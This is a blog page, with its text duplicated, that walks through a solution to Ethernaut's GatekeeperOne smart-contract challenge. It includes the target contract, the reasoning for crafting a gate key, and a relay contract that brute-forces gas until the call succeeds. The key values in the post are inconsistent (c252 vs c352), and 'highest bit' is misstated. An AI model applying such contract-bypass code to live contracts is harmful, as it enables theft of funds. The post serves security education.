
OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance

OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance


Share Dialog
Share Dialog

Subscribe to 0xbanky

Subscribe to 0xbanky
<100 subscribers
<100 subscribers
Solving the 12th ethernaut challenge, Gatekeeper. This challenge makes use of a few techniques that have been developed in some previous exercises.
https://ethernaut.openzeppelin.com/level/0x9b261b23cE149422DE75907C6ac0C30cEc4e652A
For this challenge, we want to pass three require blocks to allow our user to enter. The contract looks like this
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
There are three modifiers that we need to successfully pass
To pass gateOne, I simply needed to pass the message through a proxy contract. This way, msg.sender != tx.originwill return true. This works because tx.origin is the initiator of the transaction while msg.sender is the caller of the function. So tx.origin will be my wallet and msg.sender will be the proxy contract.
I’ll skip gateTwo for now since it is more difficult. To get through gateThree, a few casting checks need to be passed. From the last require statement, we see that uint32(uint64(_gateKey)) == uint16(tx.origin) must be true. Casting an address to uint16 will take only the last two bytes of tx.origin and convert them to decimal. Thus, the last two bytes of _gateKey must be the last four hex values of my wallet. In my case 0xc252.
Moving upwards in the require chain, we see that uint64(_gateKey) must be different from uint32(_gateKey). We can make this happen by setting a bit that is out of reach for uint32. I did this by setting the highest bit in a 64 bit value. So my new _gateKey is 0x100000000000c352. To verify this, I used a solidity repl which I found here:
https://github.com/raineorshine/solidity-repl
uint32(uint64(gatekey));
// 49746
uint64(gatekey);
// 1152921504606896978
The last require statement just makes sure that the uint32 and uint16 values of my gate key are the same. These values are equal here since the lower 4 bytes and lower 8 bytes of 0x100000000000c352are equal.
The final modifier is gateTwo. This is tricky because it is very difficult to calculate exact gas costs of a call chain on the EVM. This is because different solidity compiler versions may use different gas costs for the same operations. So that I don’t lose my mind, I just did a brute force calculation in my proxy contract by setting different gas values until one of them worked. My proxy contract looks like this
contract Gatekeeper1Relay {
address public gatekeeper1Address;
constructor(address _gatekeeper1Address) {
gatekeeper1Address = _gatekeeper1Address;
}
function enter() public {
bytes8 gateKey = 0x100000000000c252;
for (uint gas = 0; gas < 8191; ++gas) { //for loop example
(bool success, ) = gatekeeper1Address.call{gas: 100000 + gas}(abi.encodeWithSignature("enter(bytes8)", gateKey));
if (success) {
return;
}
}
require(false);
}
}
I use the gateKey that was determined previously. Then, I call the enter function on the target contract with an initial gas of 100000. This call then loops through the gas values until one of them successfully breaks in to the contract. If none of them work, then I force the transaction to fail with require(false).
Note that I used ++gas instead of gas++ in the for loop. I did this because I recently learned that the prefix increment is actually cheaper than postfix since it does not need to do an assignment. Small optimization but worth noting.
By calling enter on my proxy contract, the problem gets solved.
The solidity repl I linked is extremely useful for running single lines of solidity code to see how the platform works
Casting to smaller values in solidity. I’m working on a bigger writeup about this because there are some interesting caveats between the way casting works for bytes versus other types such as uint and int
When all else fails, brute force 😏
Solving the 12th ethernaut challenge, Gatekeeper. This challenge makes use of a few techniques that have been developed in some previous exercises.
https://ethernaut.openzeppelin.com/level/0x9b261b23cE149422DE75907C6ac0C30cEc4e652A
For this challenge, we want to pass three require blocks to allow our user to enter. The contract looks like this
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
There are three modifiers that we need to successfully pass
To pass gateOne, I simply needed to pass the message through a proxy contract. This way, msg.sender != tx.originwill return true. This works because tx.origin is the initiator of the transaction while msg.sender is the caller of the function. So tx.origin will be my wallet and msg.sender will be the proxy contract.
I’ll skip gateTwo for now since it is more difficult. To get through gateThree, a few casting checks need to be passed. From the last require statement, we see that uint32(uint64(_gateKey)) == uint16(tx.origin) must be true. Casting an address to uint16 will take only the last two bytes of tx.origin and convert them to decimal. Thus, the last two bytes of _gateKey must be the last four hex values of my wallet. In my case 0xc252.
Moving upwards in the require chain, we see that uint64(_gateKey) must be different from uint32(_gateKey). We can make this happen by setting a bit that is out of reach for uint32. I did this by setting the highest bit in a 64 bit value. So my new _gateKey is 0x100000000000c352. To verify this, I used a solidity repl which I found here:
https://github.com/raineorshine/solidity-repl
uint32(uint64(gatekey));
// 49746
uint64(gatekey);
// 1152921504606896978
The last require statement just makes sure that the uint32 and uint16 values of my gate key are the same. These values are equal here since the lower 4 bytes and lower 8 bytes of 0x100000000000c352are equal.
The final modifier is gateTwo. This is tricky because it is very difficult to calculate exact gas costs of a call chain on the EVM. This is because different solidity compiler versions may use different gas costs for the same operations. So that I don’t lose my mind, I just did a brute force calculation in my proxy contract by setting different gas values until one of them worked. My proxy contract looks like this
contract Gatekeeper1Relay {
address public gatekeeper1Address;
constructor(address _gatekeeper1Address) {
gatekeeper1Address = _gatekeeper1Address;
}
function enter() public {
bytes8 gateKey = 0x100000000000c252;
for (uint gas = 0; gas < 8191; ++gas) { //for loop example
(bool success, ) = gatekeeper1Address.call{gas: 100000 + gas}(abi.encodeWithSignature("enter(bytes8)", gateKey));
if (success) {
return;
}
}
require(false);
}
}
I use the gateKey that was determined previously. Then, I call the enter function on the target contract with an initial gas of 100000. This call then loops through the gas values until one of them successfully breaks in to the contract. If none of them work, then I force the transaction to fail with require(false).
Note that I used ++gas instead of gas++ in the for loop. I did this because I recently learned that the prefix increment is actually cheaper than postfix since it does not need to do an assignment. Small optimization but worth noting.
By calling enter on my proxy contract, the problem gets solved.
The solidity repl I linked is extremely useful for running single lines of solidity code to see how the platform works
Casting to smaller values in solidity. I’m working on a bigger writeup about this because there are some interesting caveats between the way casting works for bytes versus other types such as uint and int
When all else fails, brute force 😏
No activity yet